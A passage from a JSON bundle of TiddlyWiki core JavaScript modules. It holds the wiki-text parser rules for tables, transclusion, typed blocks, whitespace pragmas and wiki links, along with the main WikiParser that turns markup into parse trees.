1;\n\t\t\t// Move to just before the `|` terminating the cell\n\t\t\tthis.parser.pos = cellRegExp.lastIndex - 1;\n\t\t} else if(cellMatch[2]) {\n\t\t\t// End of row\n\t\t\tif(prevCell && colSpanCount > 1) {\n\t\t\t\tif(prevCell.attributes && prevCell.attributes && prevCell.attributes.colspan) {\n\t\t\t\t\t\tcolSpanCount += prevCell.attributes.colspan.value;\n\t\t\t\t} else {\n\t\t\t\t\tcolSpanCount -= 1;\n\t\t\t\t}\n\t\t\t\t$tw.utils.addAttributeToParseTreeNode(prevCell,\"colspan\",colSpanCount);\n\t\t\t}\n\t\t\tthis.parser.pos = cellRegExp.lastIndex - 1;\n\t\t\tbreak;\n\t\t} else {\n\t\t\t// For ordinary cells, step beyond the opening `|`\n\t\t\tthis.parser.pos++;\n\t\t\t// Look for a space at the start of the cell\n\t\t\tvar spaceLeft = false;\n\t\t\tvAlign = null;\n\t\t\tif(this.parser.source.substr(this.parser.pos).search(/^\\^([^\\^]|\\^\\^)/) === 0) {\n\t\t\t\tvAlign = \"top\";\n\t\t\t} else if(this.parser.source.substr(this.parser.pos).search(/^,([^,]|,,)/) === 0) {\n\t\t\t\tvAlign = \"bottom\";\n\t\t\t}\n\t\t\tif(vAlign) {\n\t\t\t\tthis.parser.pos++;\n\t\t\t}\n\t\t\tvar chr = this.parser.source.substr(this.parser.pos,1);\n\t\t\twhile(chr === \" \") {\n\t\t\t\tspaceLeft = true;\n\t\t\t\tthis.parser.pos++;\n\t\t\t\tchr = this.parser.source.substr(this.parser.pos,1);\n\t\t\t}\n\t\t\t// Check whether this is a heading cell\n\t\t\tvar cell;\n\t\t\tif(chr === \"!\") {\n\t\t\t\tthis.parser.pos++;\n\t\t\t\tcell = {type: \"element\", tag: \"th\", children: []};\n\t\t\t} else {\n\t\t\t\tcell = {type: \"element\", tag: \"td\", children: []};\n\t\t\t}\n\t\t\ttree.push(cell);\n\t\t\t// Record information about this cell\n\t\t\tprevCell = cell;\n\t\t\tprevColumns[col] = {rowSpanCount:1,element:cell};\n\t\t\t// Check for a colspan\n\t\t\tif(colSpanCount > 1) {\n\t\t\t\t$tw.utils.addAttributeToParseTreeNode(cell,\"colspan\",colSpanCount);\n\t\t\t\tcolSpanCount = 1;\n\t\t\t}\n\t\t\t// Parse the cell\n\t\t\tcell.children = this.parser.parseInlineRun(cellTermRegExp,{eatTerminator: true});\n\t\t\t// Set the alignment for the cell\n\t\t\tif(vAlign) {\n\t\t\t\t$tw.utils.addAttributeToParseTreeNode(cell,\"valign\",vAlign);\n\t\t\t}\n\t\t\tif(this.parser.source.substr(this.parser.pos - 2,1) === \" \") { // spaceRight\n\t\t\t\t$tw.utils.addAttributeToParseTreeNode(cell,\"align\",spaceLeft ? \"center\" : \"left\");\n\t\t\t} else if(spaceLeft) {\n\t\t\t\t$tw.utils.addAttributeToParseTreeNode(cell,\"align\",\"right\");\n\t\t\t}\n\t\t\t// Move back to the closing `|`\n\t\t\tthis.parser.pos--;\n\t\t}\n\t\tcol++;\n\t\tcellRegExp.lastIndex = this.parser.pos;\n\t\tcellMatch = cellRegExp.exec(this.parser.source);\n\t}\n\treturn tree;\n};\n\nexports.parse = function() {\n\tvar rowContainerTypes = {\"c\":\"caption\", \"h\":\"thead\", \"\":\"tbody\", \"f\":\"tfoot\"},\n\t\ttable = {type: \"element\", tag: \"table\", children: []},\n\t\trowRegExp = /^\\|([^\\n]*)\\|([fhck]?)\\r?(?:\\n|$)/mg,\n\t\trowTermRegExp = /(\\|(?:[fhck]?)\\r?(?:\\n|$))/mg,\n\t\tprevColumns = [],\n\t\tcurrRowType,\n\t\trowContainer,\n\t\trowCount = 0;\n\t// Match the row\n\trowRegExp.lastIndex = this.parser.pos;\n\tvar rowMatch = rowRegExp.exec(this.parser.source);\n\twhile(rowMatch && rowMatch.index === this.parser.pos) {\n\t\tvar rowType = rowMatch[2];\n\t\t// Check if it is a class assignment\n\t\tif(rowType === \"k\") {\n\t\t\t$tw.utils.addClassToParseTreeNode(table,rowMatch[1]);\n\t\t\tthis.parser.pos = rowMatch.index + rowMatch[0].length;\n\t\t} else {\n\t\t\t// Otherwise, create a new row if this one is of a different type\n\t\t\tif(rowType !== currRowType) {\n\t\t\t\trowContainer = {type: \"element\", tag: rowContainerTypes[rowType], children: []};\n\t\t\t\ttable.children.push(rowContainer);\n\t\t\t\tcurrRowType = rowType;\n\t\t\t}\n\t\t\t// Is this a caption row?\n\t\t\tif(currRowType === \"c\") {\n\t\t\t\t// If so, move past the opening `|` of the row\n\t\t\t\tthis.parser.pos++;\n\t\t\t\t// Move the caption to the first row if it isn't already\n\t\t\t\tif(table.children.length !== 1) {\n\t\t\t\t\ttable.children.pop(); // Take rowContainer out of the children array\n\t\t\t\t\ttable.children.splice(0,0,rowContainer); // Insert it at the bottom\t\t\t\t\t\t\n\t\t\t\t}\n\t\t\t\t// Set the alignment - TODO: figure out why TW did this\n//\t\t\t\trowContainer.attributes.align = rowCount === 0 ? \"top\" : \"bottom\";\n\t\t\t\t// Parse the caption\n\t\t\t\trowContainer.children = this.parser.parseInlineRun(rowTermRegExp,{eatTerminator: true});\n\t\t\t} else {\n\t\t\t\t// Create the row\n\t\t\t\tvar theRow = {type: \"element\", tag: \"tr\", children: []};\n\t\t\t\t$tw.utils.addClassToParseTreeNode(theRow,rowCount%2 ? \"oddRow\" : \"evenRow\");\n\t\t\t\trowContainer.children.push(theRow);\n\t\t\t\t// Process the row\n\t\t\t\ttheRow.children = processRow.call(this,prevColumns);\n\t\t\t\tthis.parser.pos = rowMatch.index + rowMatch[0].length;\n\t\t\t\t// Increment the row count\n\t\t\t\trowCount++;\n\t\t\t}\n\t\t}\n\t\trowMatch = rowRegExp.exec(this.parser.source);\n\t}\n\treturn [table];\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "wikirule"
        },
        "$:/core/modules/parsers/wikiparser/rules/transcludeblock.js": {
            "title": "$:/core/modules/parsers/wikiparser/rules/transcludeblock.js",
            "text": "/*\\\ntitle: $:/core/modules/parsers/wikiparser/rules/transcludeblock.js\ntype: application/javascript\nmodule-type: wikirule\n\nWiki text rule for block-level transclusion. For example:\n\n```\n{{MyTiddler}}\n{{MyTiddler||TemplateTitle}}\n```\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.name = \"transcludeblock\";\nexports.types = {block: true};\n\nexports.init = function(parser) {\n\tthis.parser = parser;\n\t// Regexp to match\n\tthis.matchRegExp = /\\{\\{([^\\{\\}\\|]*)(?:\\|\\|([^\\|\\{\\}]+))?\\}\\}(?:\\r?\\n|$)/mg;\n};\n\nexports.parse = function() {\n\t// Move past the match\n\tthis.parser.pos = this.matchRegExp.lastIndex;\n\t// Move past the match\n\tthis.parser.pos = this.matchRegExp.lastIndex;\n\t// Get the match details\n\tvar template = $tw.utils.trim(this.match[2]),\n\t\ttextRef = $tw.utils.trim(this.match[1]);\n\t// Prepare the transclude widget\n\tvar transcludeNode = {\n\t\t\ttype: \"transclude\",\n\t\t\tattributes: {},\n\t\t\tisBlock: true\n\t\t};\n\t// Prepare the tiddler widget\n\tvar tr, targetTitle, targetField, targetIndex, tiddlerNode;\n\tif(textRef) {\n\t\ttr = $tw.utils.parseTextReference(textRef);\n\t\ttargetTitle = tr.title;\n\t\ttargetField = tr.field;\n\t\ttargetIndex = tr.index;\n\t\ttiddlerNode = {\n\t\t\ttype: \"tiddler\",\n\t\t\tattributes: {\n\t\t\t\ttiddler: {type: \"string\", value: targetTitle}\n\t\t\t},\n\t\t\tisBlock: true,\n\t\t\tchildren: [transcludeNode]\n\t\t};\n\t}\n\tif(template) {\n\t\ttranscludeNode.attributes.tiddler = {type: \"string\", value: template};\n\t\tif(textRef) {\n\t\t\treturn [tiddlerNode];\n\t\t} else {\n\t\t\treturn [transcludeNode];\n\t\t}\n\t} else {\n\t\tif(textRef) {\n\t\t\ttranscludeNode.attributes.tiddler = {type: \"string\", value: targetTitle};\n\t\t\tif(targetField) {\n\t\t\t\ttranscludeNode.attributes.field = {type: \"string\", value: targetField};\n\t\t\t}\n\t\t\tif(targetIndex) {\n\t\t\t\ttranscludeNode.attributes.index = {type: \"string\", value: targetIndex};\n\t\t\t}\n\t\t\treturn [tiddlerNode];\n\t\t} else {\n\t\t\treturn [transcludeNode];\n\t\t}\n\t}\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "wikirule"
        },
        "$:/core/modules/parsers/wikiparser/rules/transcludeinline.js": {
            "title": "$:/core/modules/parsers/wikiparser/rules/transcludeinline.js",
            "text": "/*\\\ntitle: $:/core/modules/parsers/wikiparser/rules/transcludeinline.js\ntype: application/javascript\nmodule-type: wikirule\n\nWiki text rule for inline-level transclusion. For example:\n\n```\n{{MyTiddler}}\n{{MyTiddler||TemplateTitle}}\n```\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.name = \"transcludeinline\";\nexports.types = {inline: true};\n\nexports.init = function(parser) {\n\tthis.parser = parser;\n\t// Regexp to match\n\tthis.matchRegExp = /\\{\\{([^\\{\\}\\|]*)(?:\\|\\|([^\\|\\{\\}]+))?\\}\\}/mg;\n};\n\nexports.parse = function() {\n\t// Move past the match\n\tthis.parser.pos = this.matchRegExp.lastIndex;\n\t// Get the match details\n\tvar template = $tw.utils.trim(this.match[2]),\n\t\ttextRef = $tw.utils.trim(this.match[1]);\n\t// Prepare the transclude widget\n\tvar transcludeNode = {\n\t\t\ttype: \"transclude\",\n\t\t\tattributes: {}\n\t\t};\n\t// Prepare the tiddler widget\n\tvar tr, targetTitle, targetField, targetIndex, tiddlerNode;\n\tif(textRef) {\n\t\ttr = $tw.utils.parseTextReference(textRef);\n\t\ttargetTitle = tr.title;\n\t\ttargetField = tr.field;\n\t\ttargetIndex = tr.index;\n\t\ttiddlerNode = {\n\t\t\ttype: \"tiddler\",\n\t\t\tattributes: {\n\t\t\t\ttiddler: {type: \"string\", value: targetTitle}\n\t\t\t},\n\t\t\tchildren: [transcludeNode]\n\t\t};\n\t}\n\tif(template) {\n\t\ttranscludeNode.attributes.tiddler = {type: \"string\", value: template};\n\t\tif(textRef) {\n\t\t\treturn [tiddlerNode];\n\t\t} else {\n\t\t\treturn [transcludeNode];\n\t\t}\n\t} else {\n\t\tif(textRef) {\n\t\t\ttranscludeNode.attributes.tiddler = {type: \"string\", value: targetTitle};\n\t\t\tif(targetField) {\n\t\t\t\ttranscludeNode.attributes.field = {type: \"string\", value: targetField};\n\t\t\t}\n\t\t\tif(targetIndex) {\n\t\t\t\ttranscludeNode.attributes.index = {type: \"string\", value: targetIndex};\n\t\t\t}\n\t\t\treturn [tiddlerNode];\n\t\t} else {\n\t\t\treturn [transcludeNode];\n\t\t}\n\t}\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "wikirule"
        },
        "$:/core/modules/parsers/wikiparser/rules/typedblock.js": {
            "title": "$:/core/modules/parsers/wikiparser/rules/typedblock.js",
            "text": "/*\\\ntitle: $:/core/modules/parsers/wikiparser/rules/typedblock.js\ntype: application/javascript\nmodule-type: wikirule\n\nWiki text rule for typed blocks. For example:\n\n```\n$$$.js\nThis will be rendered as JavaScript\n$$$\n\n$$$.svg\n<svg xmlns=\"http://www.w3.org/2000/svg\" width=\"150\" height=\"100\">\n  <circle cx=\"100\" cy=\"50\" r=\"40\" stroke=\"black\" stroke-width=\"2\" fill=\"red\" />\n</svg>\n$$$\n\n$$$text/vnd.tiddlywiki>text/html\nThis will be rendered as an //HTML representation// of WikiText\n$$$\n```\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar widget = require(\"$:/core/modules/widgets/widget.js\");\n\nexports.name = \"typedblock\";\nexports.types = {block: true};\n\nexports.init = function(parser) {\n\tthis.parser = parser;\n\t// Regexp to match\n\tthis.matchRegExp = /\\$\\$\\$([^ >\\r\\n]*)(?: *> *([^ \\r\\n]+))?\\r?\\n/mg;\n};\n\nexports.parse = function() {\n\tvar reEnd = /\\r?\\n\\$\\$\\$\\r?(?:\\n|$)/mg;\n\t// Save the type\n\tvar parseType = this.match[1],\n\t\trenderType = this.match[2];\n\t// Move past the match\n\tthis.parser.pos = this.matchRegExp.lastIndex;\n\t// Look for the end of the block\n\treEnd.lastIndex = this.parser.pos;\n\tvar match = reEnd.exec(this.parser.source),\n\t\ttext;\n\t// Process the block\n\tif(match) {\n\t\ttext = this.parser.source.substring(this.parser.pos,match.index);\n\t\tthis.parser.pos = match.index + match[0].length;\n\t} else {\n\t\ttext = this.parser.source.substr(this.parser.pos);\n\t\tthis.parser.pos = this.parser.sourceLength;\n\t}\n\t// Parse the block according to the specified type\n\tvar parser = this.parser.wiki.parseText(parseType,text,{defaultType: \"text/plain\"});\n\t// If there's no render type, just return the parse tree\n\tif(!renderType) {\n\t\treturn parser.tree;\n\t} else {\n\t\t// Otherwise, render to the rendertype and return in a <PRE> tag\n\t\tvar widgetNode = this.parser.wiki.makeWidget(parser),\n\t\t\tcontainer = $tw.fakeDocument.createElement(\"div\");\n\t\twidgetNode.render(container,null);\n\t\ttext = renderType === \"text/html\" ? container.innerHTML : container.textContent;\n\t\treturn [{\n\t\t\ttype: \"element\",\n\t\t\ttag: \"pre\",\n\t\t\tchildren: [{\n\t\t\t\ttype: \"text\",\n\t\t\t\ttext: text\n\t\t\t}]\n\t\t}];\n\t}\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "wikirule"
        },
        "$:/core/modules/parsers/wikiparser/rules/whitespace.js": {
            "title": "$:/core/modules/parsers/wikiparser/rules/whitespace.js",
            "text": "/*\\\ntitle: $:/core/modules/parsers/wikiparser/rules/whitespace.js\ntype: application/javascript\nmodule-type: wikirule\n\nWiki pragma rule for whitespace specifications\n\n```\n\\whitespace trim\n\\whitespace notrim\n```\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.name = \"whitespace\";\nexports.types = {pragma: true};\n\n/*\nInstantiate parse rule\n*/\nexports.init = function(parser) {\n\tthis.parser = parser;\n\t// Regexp to match\n\tthis.matchRegExp = /^\\\\whitespace[^\\S\\n]/mg;\n};\n\n/*\nParse the most recent match\n*/\nexports.parse = function() {\n\tvar self = this;\n\t// Move past the pragma invocation\n\tthis.parser.pos = this.matchRegExp.lastIndex;\n\t// Parse whitespace delimited tokens terminated by a line break\n\tvar reMatch = /[^\\S\\n]*(\\S+)|(\\r?\\n)/mg,\n\t\ttokens = [];\n\treMatch.lastIndex = this.parser.pos;\n\tvar match = reMatch.exec(this.parser.source);\n\twhile(match && match.index === this.parser.pos) {\n\t\tthis.parser.pos = reMatch.lastIndex;\n\t\t// Exit if we've got the line break\n\t\tif(match[2]) {\n\t\t\tbreak;\n\t\t}\n\t\t// Process the token\n\t\tif(match[1]) {\n\t\t\ttokens.push(match[1]);\n\t\t}\n\t\t// Match the next token\n\t\tmatch = reMatch.exec(this.parser.source);\n\t}\n\t// Process the tokens\n\t$tw.utils.each(tokens,function(token) {\n\t\tswitch(token) {\n\t\t\tcase \"trim\":\n\t\t\t\tself.parser.configTrimWhiteSpace = true;\n\t\t\t\tbreak;\n\t\t\tcase \"notrim\":\n\t\t\t\tself.parser.configTrimWhiteSpace = false;\n\t\t\t\tbreak;\n\t\t}\n\t});\n\t// No parse tree nodes to return\n\treturn [];\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "wikirule"
        },
        "$:/core/modules/parsers/wikiparser/rules/wikilink.js": {
            "title": "$:/core/modules/parsers/wikiparser/rules/wikilink.js",
            "text": "/*\\\ntitle: $:/core/modules/parsers/wikiparser/rules/wikilink.js\ntype: application/javascript\nmodule-type: wikirule\n\nWiki text inline rule for wiki links. For example:\n\n```\nAWikiLink\nAnotherLink\n~SuppressedLink\n```\n\nPrecede a camel case word with `~` to prevent it from being recognised as a link.\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.name = \"wikilink\";\nexports.types = {inline: true};\n\nexports.init = function(parser) {\n\tthis.parser = parser;\n\t// Regexp to match\n\tthis.matchRegExp = new RegExp($tw.config.textPrimitives.unWikiLink + \"?\" + $tw.config.textPrimitives.wikiLink,\"mg\");\n};\n\n/*\nParse the most recent match\n*/\nexports.parse = function() {\n\t// Get the details of the match\n\tvar linkText = this.match[0];\n\t// Move past the macro call\n\tthis.parser.pos = this.matchRegExp.lastIndex;\n\t// If the link starts with the unwikilink character then just output it as plain text\n\tif(linkText.substr(0,1) === $tw.config.textPrimitives.unWikiLink) {\n\t\treturn [{type: \"text\", text: linkText.substr(1)}];\n\t}\n\t// If the link has been preceded with a blocked letter then don't treat it as a link\n\tif(this.match.index > 0) {\n\t\tvar preRegExp = new RegExp($tw.config.textPrimitives.blockPrefixLetters,\"mg\");\n\t\tpreRegExp.lastIndex = this.match.index-1;\n\t\tvar preMatch = preRegExp.exec(this.parser.source);\n\t\tif(preMatch && preMatch.index === this.match.index-1) {\n\t\t\treturn [{type: \"text\", text: linkText}];\n\t\t}\n\t}\n\treturn [{\n\t\ttype: \"link\",\n\t\tattributes: {\n\t\t\tto: {type: \"string\", value: linkText}\n\t\t},\n\t\tchildren: [{\n\t\t\ttype: \"text\",\n\t\t\ttext: linkText\n\t\t}]\n\t}];\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "wikirule"
        },
        "$:/core/modules/parsers/wikiparser/wikiparser.js": {
            "title": "$:/core/modules/parsers/wikiparser/wikiparser.js",
            "text": "/*\\\ntitle: $:/core/modules/parsers/wikiparser/wikiparser.js\ntype: application/javascript\nmodule-type: parser\n\nThe wiki text parser processes blocks of source text into a parse tree.\n\nThe parse tree is made up of nested arrays of these JavaScript objects:\n\n\t{type: \"element\", tag: <string>, attributes: {}, children: []} - an HTML element\n\t{type: \"text\", text: <string>} - a text node\n\t{type: \"entity\", value: <string>} - an entity\n\t{type: \"raw\", html: <string>} - raw HTML\n\nAttributes are stored as hashmaps of the following objects:\n\n\t{type: \"string\", value: <string>} - literal string\n\t{type: \"indirect\", textReference: <textReference>} - indirect through a text reference\n\t{type: \"macro\", macro: <TBD>} - indirect through a macro invocation\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar WikiParser = function(type,text,options) {\n\tthis.wiki = options.wiki;\n\tvar self = this;\n\t// Check for an externally linked tiddler\n\tif($tw.browser && (text || \"\") === \"\" && options._canonical_uri) {\n\t\tthis.loadRemoteTiddler(options._canonical_uri);\n\t\ttext = $tw.language.getRawString(\"LazyLoadingWarning\");\n\t}\n\t// Initialise the classes if we don't have them already\n\tif(!this.pragmaRuleClasses) {\n\t\tWikiParser.prototype.pragmaRuleClasses = $tw.modules.createClassesFromModules(\"wikirule\",\"pragma\",$tw.WikiRuleBase);\n\t\tthis.setupRules(WikiParser.prototype.pragmaRuleClasses,\"$:/config/WikiParserRules/Pragmas/\");\n\t}\n\tif(!this.blockRuleClasses) {\n\t\tWikiParser.prototype.blockRuleClasses = $tw.modules.createClassesFromModules(\"wikirule\",\"block\",$tw.WikiRuleBase);\n\t\tthis.setupRules(WikiParser.prototype.blockRuleClasses,\"$:/config/WikiParserRules/Block/\");\n\t}\n\tif(!this.inlineRuleClasses) {\n\t\tWikiParser.prototype.inlineRuleClasses = $tw.modules.createClassesFromModules(\"wikirule\",\"inline\",$tw.WikiRuleBase);\n\t\tthis.setupRules(WikiParser.prototype.inlineRuleClasses,\"$:/config/WikiParserRules/Inline/\");\n\t}\n\t// Save the parse text\n\tthis.type = type || \"text/vnd.tiddlywiki\";\n\tthis.source = text || \"\";\n\tthis.sourceLength = this.source.length;\n\t// Flag for ignoring whitespace\n\tthis.configTrimWhiteSpace = false;\n\t// Set current parse position\n\tthis.pos = 0;\n\t// Instantiate the pragma parse rules\n\tthis.pragmaRules = this.instantiateRules(this.pragmaRuleClasses,\"pragma\",0);\n\t// Instantiate the parser block and inline rules\n\tthis.blockRules = this.instantiateRules(this.blockRuleClasses,\"block\",0);\n\tthis.inlineRules = this.instantiateRules(this.inlineRuleClasses,\"inline\",0);\n\t// Parse any pragmas\n\tthis.tree = [];\n\tvar topBranch = this.parsePragmas();\n\t// Parse the text into inline runs or blocks\n\tif(options.parseAsInline) {\n\t\ttopBranch.push.apply(topBranch,this.parseInlineRun());\n\t} else {\n\t\ttopBranch.push.apply(topBranch,this.parseBlocks());\n\t}\n\t// Return the parse tree\n};\n\n/*\n*/\nWikiParser.prototype.loadRemoteTiddler = function(url) {\n\tvar self = this;\n\t$tw.utils.httpRequest({\n\t\turl: url,\n\t\ttype: \"GET\",\n\t\tcallback: function(err,data) {\n\t\t\tif(!err) {\n\t\t\t\tvar tiddlers = self.wiki.deserializeTiddlers(\".tid\",data,self.wiki.getCreationFields());\n\t\t\t\t$tw.utils.each(tiddlers,function(tiddler) {\n\t\t\t\t\ttiddler[\"_canonical_uri\"] = url;\n\t\t\t\t});\n\t\t\t\tif(tiddlers) {\n\t\t\t\t\tself.wiki.addTiddlers(tiddlers);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t});\n};\n\n/*\n*/\nWikiParser.prototype.setupRules = function(proto,configPrefix) {\n\tvar self = this;\n\tif(!$tw.safemode) {\n\t\t$tw.utils.each(proto,function(object,name) {\n\t\t\tif(self.wiki.getTiddlerText(configPrefix + name,\"enable\") !== \"enable\") {\n\t\t\t\tdelete proto[name];\n\t\t\t}\n\t\t});\n\t}\n};\n\n/*\nInstantiate an array of parse rules\n*/\nWikiParser.prototype.instantiateRules = function(classes,type,startPos) {\n\tvar rulesInfo = [],\n\t\tself = this;\n\t$tw.utils.each(classes,function(RuleClass) {\n\t\t// Instantiate the rule\n\t\tvar rule = new RuleClass(self);\n\t\trule.is = {};\n\t\trule.is[type] = true;\n\t\trule.init(self);\n\t\tvar matchIndex = rule.findNextMatch(startPos);\n\t\tif(matchIndex !== undefined) {\n\t\t\trulesInfo.push({\n\t\t\t\trule: rule,\n\t\t\t\tmatchIndex: matchIndex\n\t\t\t});\n\t\t}\n\t});\n\treturn rulesInfo;\n};\n\n/*\nSkip any whitespace at the current position. Options are:\n\ttreatNewlinesAsNonWhitespace: true if newlines are NOT to be treated as whitespace\n*/\nWikiParser.prototype.skipWhitespace = function(options) {\n\toptions = options || {};\n\tvar whitespaceRegExp = options.treatNewlinesAsNonWhitespace ? /([^\\S\\n]+)/mg : /(\\s+)/mg;\n\twhitespaceRegExp.lastIndex = this.pos;\n\tvar whitespaceMatch = whitespaceRegExp.exec(this.source);\n\tif(whitespaceMatch && whitespaceMatch.index === this.pos) {\n\t\tthis.pos = whitespaceRegExp.lastIndex;\n\t}\n};\n\n/*\nGet the next match out of an array of parse rule instances\n*/\nWikiParser.prototype.findNextMatch = function(rules,startPos) {\n\t// Find the best matching rule by finding the closest match position\n\tvar matchingRule,\n\t\tmatchingRulePos = this.sourceLength;\n\t// Step through each rule\n\tfor(var t=0; t<rules.length; t++) {\n\t\tvar ruleInfo = rules[t];\n\t\t// Ask the rule to get the next match if we've moved past the current one\n\t\tif(ruleInfo.matchIndex !== undefined  && ruleInfo.matchIndex < startPos) {\n\t\t\truleInfo.matchIndex = ruleInfo.rule.findNextMatch(startPos);\n\t\t}\n\t\t// Adopt this match if it's closer than the current best match\n\t\tif(ruleInfo.matchIndex !== undefined && ruleInfo.matchIndex <= matchingRulePos) {\n\t\t\tmatchingRule = ruleInfo;\n\t\t\tmatchingRulePos = ruleInfo.matchIndex;\n\t\t}\n\t}\n\treturn matchingRule;\n};\n\n/*\nParse any pragmas at the beginning of a block of parse text\n*/\nWikiParser.prototype.parsePragmas = function() {\n\tvar currentTreeBranch = this.tree;\n\twhile(true) {\n\t\t// Skip whitespace\n\t\tthis.skipWhitespace();\n\t\t// Check for the end of the text\n\t\tif(this.pos >= this.sourceLength) {\n\t\t\tbreak;\n\t\t}\n\t\t// Check if we've arrived at a pragma rule match\n\t\tvar nextMatch = this.findNextMatch(this.pragmaRules,this.pos);\n\t\t// If not, just exit\n\t\tif(!nextMatch || nextMatch.matchIndex !== this.pos) {\n\t\t\tbreak;\n\t\t}\n\t\t// Process the pragma rule\n\t\tvar subTree = nextMatch.rule.parse();\n\t\tif(subTree.length > 0) {\n\t\t\t// Quick hack; we only cope with a single parse tree node being returned, which is true at the moment\n\t\t\tcurrentTreeBranch.push.apply(currentTreeBranch,subTree);\n\t\t\tsubTree[0].children = [];\n\t\t\tcurrentTreeBranch = subTree[0].children;\n\t\t}\n\t}\n\treturn currentTreeBranch;\n};\n\n/*\nParse a block from the current position\n\tterminatorRegExpString: optional regular expression string that identifies the end of plain paragraphs. Must not include capturing parenthesis\n*/\nWikiParser.prototype.parseBlock = function(terminatorRegExpString) {\n\tvar terminatorRegExp = terminatorRegExpString ? new RegExp(\"(\" + terminatorRegExpString + \"|\\\\r?\\\\n\\\\r?\\\\n)\",\"mg\") : /(\\r?\\n\\r?\\n)/mg;\n\tthis.skipWhitespace();\n\tif(this.pos >= this.sourceLength) {\n\t\treturn [];\n\t}\n\t// Look for a block rule that applies at the current position\n\tvar nextMatch = this.findNextMatch(this.blockRules,this.pos);\n\tif(nextMatch && nextMatch.matchIndex === this.pos) {\n\t\treturn nextMatch.rule.parse();\n\t}\n\t// Treat it as a paragraph if we didn't find a block rule\n\treturn [{type: \"element\", tag: \"p\", children: this.parseInlineRun(terminatorRegExp)}];\n};\n\n/*\nParse a series of blocks of text until a terminating regexp is encountered or the end of the text\n\tterminatorRegExpString: terminating regular expression\n*/\nWikiParser.prototype.parseBlocks = function(terminatorRegExpString) {\n\tif(terminatorRegExpString) {\n\t\treturn this.parseBlocksTerminated(terminatorRegExpString);\n\t} else {\n\t\treturn this.parseBlocksUnterminated();\n\t}\n};\n\n/*\nParse a block from the current position to the end of the text\n*/\nWikiParser.prototype.parseBlocksUnterminated = function() {\n\tvar tree = [];\n\twhile(this.pos < this.sourceLength) {\n\t\ttree.push.apply(tree,this.parseBlock());\n\t}\n\treturn tree;\n};\n\n/*\nParse blocks of text until a terminating regexp is encountered\n*/\nWikiParser.prototype.parseBlocksTerminated = function(terminatorRegExpString) {\n\tvar terminatorRegExp = new RegExp(\"(\" + terminatorRegExpString + \")\",\"mg\"),\n\t\ttree = [];\n\t// Skip any whitespace\n\tthis.skipWhitespace();\n\t//  Check if we've got the end marker\n\tterminatorRegExp.lastIndex = this.pos;\n\tvar match = terminatorRegExp.exec(this.source);\n\t// Parse the text into blocks\n\twhile(this.pos < this.sourceLength && !(match && match.index === this.pos)) {\n\t\tvar blocks = this.parseBlock(terminatorRegExpString);\n\t\ttree.push.apply(tree,blocks);\n\t\t// Skip any whitespace\n\t\tthis.skipWhitespace();\n\t\t//  Check if we've got the end marker\n\t\tterminatorRegExp.lastIndex = this.pos;\n\t\tmatch = terminatorRegExp.exec(this.source);\n\t}\n\tif(match && match.index === this.pos) {\n\t\tthis.pos = match.index + match[0].length;\n\t}\n\treturn tree;\n};\n\n/*\nParse a run of text at the current position\n\tterminatorRegExp: a regexp at which to stop the run\n\toptions: see below\nOptions available:\n\teatTerminator: move the parse position past any encountered terminator (default false)\n*/\nWikiParser.prototype.parseInlineRun = function(terminatorRegExp,options) {\n\tif(terminatorRegExp) {\n\t\treturn this.parseInlineRunTerminated(terminatorRegExp,options);\n\t} else {\n\t\treturn this.parseInlineRunUnterminated(options);\n\t}\n};\n\nWikiParser.prototype.parseInlineRunUnterminated = function(options) {\n\tvar tree = [];\n\t// Find the next occurrence of an inline rule\n\tvar nextMatch = this.findNextMatch(this.inlineRules,this.pos);\n\t// Loop around the matches until we've reached the end of the text\n\twhile(this.pos < this.sourceLength && nextMatch) {\n\t\t// Process the text preceding the run rule\n\t\tif(nextMatch.matchIndex > this.pos) {\n\t\t\tthis.pushTextWidget(tree,this.source.substring(this.pos,nextMatch.matchIndex));\n\t\t\tthis.pos = nextMatch.matchIndex;\n\t\t}\n\t\t// Process the run rule\n\t\ttree.push.apply(tree,nextMatch.rule.parse());\n\t\t// Look for the next run rule\n\t\tnextMatch = this.findNextMatch(this.inlineRules,this.pos);\n\t}\n\t// Process the remaining text\n\tif(this.pos < this.sourceLength) {\n\t\tthis.pushTextWidget(tree,this.source.substr(this.pos));\n\t}\n\tthis.pos = this.sourceLength;\n\treturn tree;\n};\n\nWikiParser.prototype.parseInlineRunTerminated = function(terminatorRegExp,options) {\n\toptions = options || {};\n\tvar tree = [];\n\t// Find the next occurrence of the terminator\n\tterminatorRegExp.lastIndex = this.pos;\n\tvar terminatorMatch = terminatorRegExp.exec(this.source);\n\t// Find the next occurrence of a inlinerule\n\tvar inlineRuleMatch = this.findNextMatch(this.inlineRules,this.pos);\n\t// Loop around until we've reached the end of the text\n\twhile(this.pos < this.sourceLength && (terminatorMatch || inlineRuleMatch)) {\n\t\t// Return if we've found the terminator, and it precedes any inline rule match\n\t\tif(terminatorMatch) {\n\t\t\tif(!inlineRuleMatch || inlineRuleMatch.matchIndex >= terminatorMatch.index) {\n\t\t\t\tif(terminatorMatch.index > this.pos) {\n\t\t\t\t\tthis.pushTextWidget(tree,this.source.substring(this.pos,terminatorMatch.index));\n\t\t\t\t}\n\t\t\t\tthis.pos = terminatorMatch.index;\n\t\t\t\tif(options.eatTerminator) {\n\t\t\t\t\tthis.pos += terminatorMatch[0].length;\n\t\t\t\t}\n\t\t\t\treturn tree;\n\t\t\t}\n\t\t}\n\t\t// Process any inline rule, along with the text preceding it\n\t\tif(inlineRuleMatch) {\n\t\t\t// Preceding text\n\t\t\tif(inlineRuleMatch.matchIndex > this.pos) 